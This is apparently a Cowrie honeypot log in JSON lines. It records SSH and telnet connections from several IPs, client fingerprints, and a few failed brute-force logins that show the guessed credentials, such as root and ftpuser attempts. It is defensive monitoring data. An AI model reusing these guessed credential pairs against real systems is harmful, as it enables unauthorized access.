{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":8008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac23c60a8d9","protocol":"ssh","message":"New connection: 94.156.152.18:8008 (159.203.135.109:22) [session: 3ac23c60a8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:20.641271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:20.645482Z","src_ip":"94.156.152.18","session":"3ac23c60a8d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:20.776726Z","src_ip":"94.156.152.18","session":"3ac23c60a8d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#4VCPU16GBAMD","message":"login attempt [root/QUEENVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:21.156660Z","src_ip":"94.156.152.18","session":"3ac23c60a8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39826,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c93ddd173c0","protocol":"telnet","message":"New connection: 134.209.8.29:39826 (159.203.135.109:23) [session: 9c93ddd173c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:22.019601Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:22.285705Z","src_ip":"94.156.152.18","session":"3ac23c60a8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43754,"dst_ip":"10.17.0.5","dst_port":23,"session":"63d32fff6666","protocol":"telnet","message":"New connection: 62.210.97.77:43754 (10.17.0.5:23) [session: 63d32fff6666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:22.623953Z"}
{"eventid":"cowrie.session.closed","duration":50.244423151016235,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:23.016841Z","src_ip":"134.209.8.29","session":"1e660f6c1f6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":51760,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f09106041c","protocol":"ssh","message":"New connection: 187.16.96.250:51760 (10.17.0.5:22) [session: a9f09106041c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:23.323310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:23.327314Z","src_ip":"187.16.96.250","session":"a9f09106041c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:23.447288Z","src_ip":"187.16.96.250","session":"a9f09106041c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:23.945148Z","src_ip":"187.16.96.250","session":"a9f09106041c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:25.065145Z","src_ip":"187.16.96.250","session":"a9f09106041c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60338,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf33c019109","protocol":"telnet","message":"New connection: 165.232.131.181:60338 (10.17.0.5:23) [session: 0cf33c019109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:26.716843Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f44676cfcbe","protocol":"telnet","message":"New connection: 62.210.97.77:43770 (10.17.0.5:23) [session: 7f44676cfcbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:26.744665Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43782,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc3e3250d89","protocol":"telnet","message":"New connection: 62.210.97.77:43782 (10.17.0.5:23) [session: ebc3e3250d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:27.941304Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e318e68aeb8","protocol":"telnet","message":"New connection: 165.232.131.181:60066 (10.17.0.5:23) [session: 9e318e68aeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:28.076460Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50322,"dst_ip":"10.17.0.5","dst_port":23,"session":"93c8d8cd2400","protocol":"telnet","message":"New connection: 65.60.27.33:50322 (10.17.0.5:23) [session: 93c8d8cd2400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:28.081396Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49568,"dst_ip":"10.17.0.5","dst_port":23,"session":"f154e51c9dfc","protocol":"telnet","message":"New connection: 165.232.131.181:49568 (10.17.0.5:23) [session: f154e51c9dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:31.740234Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55076,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf617b6fca9a","protocol":"telnet","message":"New connection: 65.60.27.33:55076 (10.17.0.5:23) [session: cf617b6fca9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:32.063900Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52092,"dst_ip":"10.17.0.5","dst_port":23,"session":"b12f4844d2bc","protocol":"telnet","message":"New connection: 62.210.97.77:52092 (10.17.0.5:23) [session: b12f4844d2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:32.572942Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52100,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d646df281d","protocol":"telnet","message":"New connection: 62.210.97.77:52100 (10.17.0.5:23) [session: d0d646df281d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:32.650562Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cc793f3572e","protocol":"telnet","message":"New connection: 65.60.27.33:55510 (10.17.0.5:23) [session: 8cc793f3572e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:32.781258Z"}
{"eventid":"cowrie.session.closed","duration":44.054038286209106,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:33.073432Z","src_ip":"165.232.131.181","session":"9be3fa4399d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52104,"dst_ip":"10.17.0.5","dst_port":23,"session":"6230b7e0c8df","protocol":"telnet","message":"New connection: 62.210.97.77:52104 (10.17.0.5:23) [session: 6230b7e0c8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:33.174197Z"}
{"eventid":"cowrie.session.closed","duration":3.6744887828826904,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:35.414585Z","src_ip":"165.232.131.181","session":"f154e51c9dfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75036430358887,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:35.917313Z","src_ip":"62.210.97.77","session":"7d662a832355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08737778663635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:36.036747Z","src_ip":"62.210.97.77","session":"358647a43a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97908163070679,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:36.204686Z","src_ip":"62.210.97.77","session":"1afa26636c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89364743232727,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:36.464001Z","src_ip":"62.210.97.77","session":"542785323179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52106,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fbe1ab87cee","protocol":"telnet","message":"New connection: 62.210.97.77:52106 (10.17.0.5:23) [session: 9fbe1ab87cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:36.844697Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60258,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e89f447720","protocol":"telnet","message":"New connection: 65.60.27.33:60258 (10.17.0.5:23) [session: e9e89f447720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:37.658451Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52394,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4adad49c57","protocol":"telnet","message":"New connection: 38.54.119.93:52394 (10.17.0.5:23) [session: eb4adad49c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:39.119102Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58102,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00556a03a57","protocol":"telnet","message":"New connection: 62.210.97.77:58102 (10.17.0.5:23) [session: c00556a03a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:40.368175Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58110,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4268fb226f","protocol":"telnet","message":"New connection: 62.210.97.77:58110 (10.17.0.5:23) [session: be4268fb226f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:41.820053Z"}
{"eventid":"cowrie.session.closed","duration":56.33026957511902,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:42.197570Z","src_ip":"165.232.131.181","session":"6fd9dad37f55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58116,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc5c7aed50a","protocol":"telnet","message":"New connection: 62.210.97.77:58116 (10.17.0.5:23) [session: 3dc5c7aed50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:44.533711Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58114,"dst_ip":"10.17.0.5","dst_port":23,"session":"00da7fbbe577","protocol":"telnet","message":"New connection: 62.210.97.77:58114 (10.17.0.5:23) [session: 00da7fbbe577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:44.716476Z"}
{"eventid":"cowrie.session.closed","duration":37.41834211349487,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:46.945214Z","src_ip":"62.210.97.77","session":"8edbeb6b7d7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.25066590309143,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:48.103763Z","src_ip":"65.60.27.33","session":"2f111b693a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56612,"dst_ip":"10.17.0.5","dst_port":23,"session":"998252e3c2cb","protocol":"telnet","message":"New connection: 62.210.97.77:56612 (10.17.0.5:23) [session: 998252e3c2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:49.999835Z"}
{"eventid":"cowrie.session.closed","duration":31.405200004577637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:52.041862Z","src_ip":"62.210.97.77","session":"a8dcace6e391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.88228893280029,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:52.748723Z","src_ip":"65.60.27.33","session":"028673284566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.816404104232788,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:55.892725Z","src_ip":"165.232.131.181","session":"9e318e68aeb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98805642127991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:56.611906Z","src_ip":"62.210.97.77","session":"63d32fff6666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.92790722846985,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:56.838721Z","src_ip":"62.210.97.77","session":"43bf62ecbe50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43990,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9423d040e92","protocol":"telnet","message":"New connection: 165.232.131.181:43990 (10.17.0.5:23) [session: b9423d040e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:57.263785Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":42158,"dst_ip":"10.17.0.5","dst_port":22,"session":"414c5af294e8","protocol":"ssh","message":"New connection: 45.78.198.206:42158 (10.17.0.5:22) [session: 414c5af294e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:57.526065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:57.530065Z","src_ip":"45.78.198.206","session":"414c5af294e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56616,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca708e23cb6","protocol":"telnet","message":"New connection: 62.210.97.77:56616 (10.17.0.5:23) [session: 9ca708e23cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:58.177783Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:58.513852Z","src_ip":"45.78.198.206","session":"414c5af294e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48988,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84c08f90341","protocol":"telnet","message":"New connection: 62.210.97.77:48988 (10.17.0.5:23) [session: e84c08f90341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:00.799587Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9831812c647","protocol":"telnet","message":"New connection: 65.60.27.33:58120 (10.17.0.5:23) [session: c9831812c647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:00.918953Z"}
{"eventid":"cowrie.session.closed","duration":35.69537281990051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:02.439932Z","src_ip":"62.210.97.77","session":"7f44676cfcbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48992,"dst_ip":"10.17.0.5","dst_port":23,"session":"c351980dafcc","protocol":"telnet","message":"New connection: 62.210.97.77:48992 (10.17.0.5:23) [session: c351980dafcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:02.711462Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44992,"dst_ip":"10.17.0.5","dst_port":23,"session":"618519c55411","protocol":"telnet","message":"New connection: 165.232.131.181:44992 (10.17.0.5:23) [session: 618519c55411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:02.846886Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fedora","message":"login attempt [ubuntu/fedora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:02.878515Z","src_ip":"45.78.198.206","session":"414c5af294e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45406,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9a3dfdb910","protocol":"telnet","message":"New connection: 165.232.131.181:45406 (10.17.0.5:23) [session: 2e9a3dfdb910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:03.879206Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49000,"dst_ip":"10.17.0.5","dst_port":23,"session":"c853740ccc21","protocol":"telnet","message":"New connection: 62.210.97.77:49000 (10.17.0.5:23) [session: c853740ccc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:04.071898Z"}
{"eventid":"cowrie.session.closed","duration":36.572997093200684,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:04.514200Z","src_ip":"62.210.97.77","session":"ebc3e3250d89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.878880977630615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:04.529355Z","src_ip":"62.210.97.77","session":"d0d646df281d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"3367bf012216","protocol":"telnet","message":"New connection: 62.210.97.77:49014 (10.17.0.5:23) [session: 3367bf012216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:04.733168Z"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:05.080982Z","src_ip":"45.78.198.206","session":"414c5af294e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.195526123046875,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:06.215029Z","src_ip":"134.209.8.29","session":"9c93ddd173c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49022,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b6fd5410d4","protocol":"telnet","message":"New connection: 62.210.97.77:49022 (10.17.0.5:23) [session: b1b6fd5410d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:06.439815Z"}
{"eventid":"cowrie.session.closed","duration":34.22468113899231,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:06.797516Z","src_ip":"62.210.97.77","session":"b12f4844d2bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13967299461365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:45:08.313725Z","src_ip":"62.210.97.77","session":"6230b7e0c8df","protocol":"telnet"}
